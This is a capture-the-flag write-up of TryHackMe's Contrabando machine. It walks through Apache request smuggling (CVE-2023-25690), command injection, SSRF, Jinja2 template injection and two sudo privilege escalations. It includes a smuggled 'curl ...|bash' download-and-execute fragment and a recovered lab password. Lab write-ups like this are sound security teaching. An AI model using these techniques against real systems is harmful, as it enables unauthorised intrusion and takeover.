Contrabando — TryHackMe Writeup
Nmap identifies SSH (22) and Apache 2.4.55 (80). Probing reveals an Apache front proxy routing /page/* to an internal Apache 2.4.54 + PHP 7.4 container, leaking index.php and gen.php source code through backend readfile() behavior.
CRLF injection in Apache mod_proxy rewrite rules allows smuggling a secondary POST /gen.php request to the backend. Exploiting command injection in the unvalidated length parameter drops a reverse shell as www-data inside the Docker container.
Enumeration of the internal 172.18.0.0/24 bridge reveals a Flask website fetcher on 172.18.0.1:5000. Leveraging pycurl SSRF to read source files and exploiting render_template_string() Jinja2 SSTI achieves remote code execution as hansolo on the host, capturing the user flag.
Hansolo has sudo access to /usr/bin/vault. The script tests [[ $content == $user_input ]] with an unquoted variable, enabling wildcard matching with * and character-by-character oracle brute-forcing of /root/password to recover hansolo's sudo password.
Using the recovered sudo password to run sudo /usr/bin/python* /opt/generator/app.py executes the script under Python 2. Injecting arbitrary Python code into input() executes as root, yielding a root reverse shell and the final flag.
1. Reconnaissance
::1.1 Port Scan
Start with a full port scan, then version + default scripts on the open ports:

Only two ports. The SSH version (8.2p1 Ubuntu build for Ubuntu 20.04/focal) confirms a Linux host. The web server will be the primary attack surface.
::1.2 Web Enumeration
The main page is a "COMING SOON" splash with a link to a beta page:

Key observations from curl:
- ▹
GET /→ static HTML “COMING SOON”, link to/page/home.html. - ▹
GET /page/home.html→ “Our password generator is currently down.” — a static page served by the backend. - ▹
GET /page/index.php→ returns the PHP source code, not an executed page — the proxy serves/page/*straight into a backend script that prints the path's target. - ▹
GET /page/gen.php→ also returns source — a password generator backend script.
Notice the response headers differ between the front door and the /page/* route:
Two different Apache versions responding — we are talking to a reverse proxy fronting a backend PHP application. This will be the seed of the whole compromise.
The two PHP files we can read:
::1.3 File Read / SSRF through /page/
The proxy rewrites anything after /page/ into the backend query string. By double URL-encoding a path traversal, we defeat the proxy's own decoding and reach readfile() with a full filesystem path:

Reading /etc/hosts tells us we are inside a Docker container:
readfile() also supports stream wrappers (http://, file://), giving us full SSRF from the backend — useful for peeling the architecture apart, but the real prize is the request smuggling.
2. Foothold — HTTP Request Smuggling (CVE-2023-25690) → Container Shell
::2.1 Understanding the Proxy Chain
From the path behavior and the duplicated PHP source, we can reconstruct the front Apache config (we later confirm it from /root/smug/ on the host):
So GET /page/<INPUT> becomes, on the backend:
Because index.php only accepts GET and always feeds the value to readfile(), we can never reach gen.php's POST length=... command injection… through the front door.
::2.2 The Vulnerability: CVE-2023-25690
Apache httpd ≤ 2.4.55 with a mod_proxy configuration similar to this rewrite is vulnerable to HTTP Request Smuggling via CRLF injection (CVE-2023-25690). The proxy takes the URL path, appends it to the backend request, and does not sanitize CRLF bytes. If our input contains %0d%0a (which the proxy decodes to real \r\n), we can terminate the legitimate request early and inject a completely new one.
The canonical trick: our input carries a complete second request inside the URL. The rewrite turns it into:
The final GET /test line is essential: anything Apache appends after our payload ( HTTP/1.1, Host: ...) gets glued to that request, not to our POST body.
::2.3 Crafting the Smuggle Payload
We host a reverse shell on our attack box, then smuggle a POST that downloads and executes it:

With a netcat listener running, we get a shell back:
We are www-data in a Docker container (124a042cc76c). The Content-Length in the smuggled POST must match the exact byte length of length=1;curl ...|bash; — count carefully, or the backend will wait for more data and the shell never fires.
3. Lateral Movement — From Container to Host (SSRF + SSTI)
::3.1 Mapping the Internal Network
From inside the container we enumerate the Docker bridge network (172.18.0.0/24). The gateway 172.18.0.1 is the host machine — and it exposes an interesting port:

::3.2 The Flask App — SSRF + SSTI
http://172.18.0.1:5000/ is a “Website Display” utility: you give it a URL, it fetches the content with pycurl and renders it back in HTML. Let's probe it with file:// URLs — SSRF:
The response contains the app's own source:
render_template_string() renders the fetched content as a Jinja2 template — anything in the fetched page between {{ }} gets evaluated server-side. That is a textbook Server-Side Template Injection.
::3.3 Proving SSTI → RCE as hansolo
Host a file containing a Jinja2 expression and make the app “fetch” it:

Now weaponize it into command execution:
Result: uid=1000(hansolo) gid=1000(hansolo) — we are running code on the host as the user hansolo (uid 1000).
::3.4 User Flag
Chain a few commands through the same SSTI primitive:

4. Privilege Escalation — hansolo → root
After compromising the host as hansolo via the Flask SSTI, we enumerate the machine for privilege escalation vectors.
::4.1 Stage 1 — vault and the Bash Glob Injection Oracle
Enumerating binaries on the host reveals a custom script /usr/bin/vault which can be executed as root with sudo without requiring a password (NOPASSWD):
The bug: on the right-hand side of == inside [[ ]], an unquoted variable is treated as a glob pattern. * matches the whole content of /root/password regardless of what it is:
We can read /root/secrets, but the actual password is in /root/password — we never see its value directly. However, the same glob semantics let us oracle the password one character at a time: guess="<prefix>*" matches only if the password actually starts with <prefix>. So we brute-force it char by char, using Password matched! as the oracle:

Leaked password: EQu5ehwHcRfZ
::4.2 SSH Access & Sudo Privilege Enumeration
The string recovered from /root/password turns out to be hansolo's own password. With these credentials, we can establish a stable, interactive SSH session:
Now we can inspect sudo -l to view all sudo privileges assigned to hansolo:

This confirms the second sudo rule: (root) /usr/bin/python* /opt/generator/app.py. While it requires a password, we now possess hansolo's password (EQu5ehwHcRfZ).
::4.3 Stage 2 — Python 2 input() RCE → Root
We inspect the generator script at /opt/generator/app.py:
In Python 2, input() is eval(raw_input()) — whatever we type is evaluated as Python code. If we run it with python2 under sudo, we get code execution as root.
We automate the interaction with pexpect (SSH → sudo → feed length → inject payload):


Red Team Consultant · Penetration Tester · Bug Bounty Hunter
Offensive security professional with 250+ vulnerabilities reported across 50+ organizations including Atlassian, Vimeo, and AT&T. Sharing research, tools, and field notes.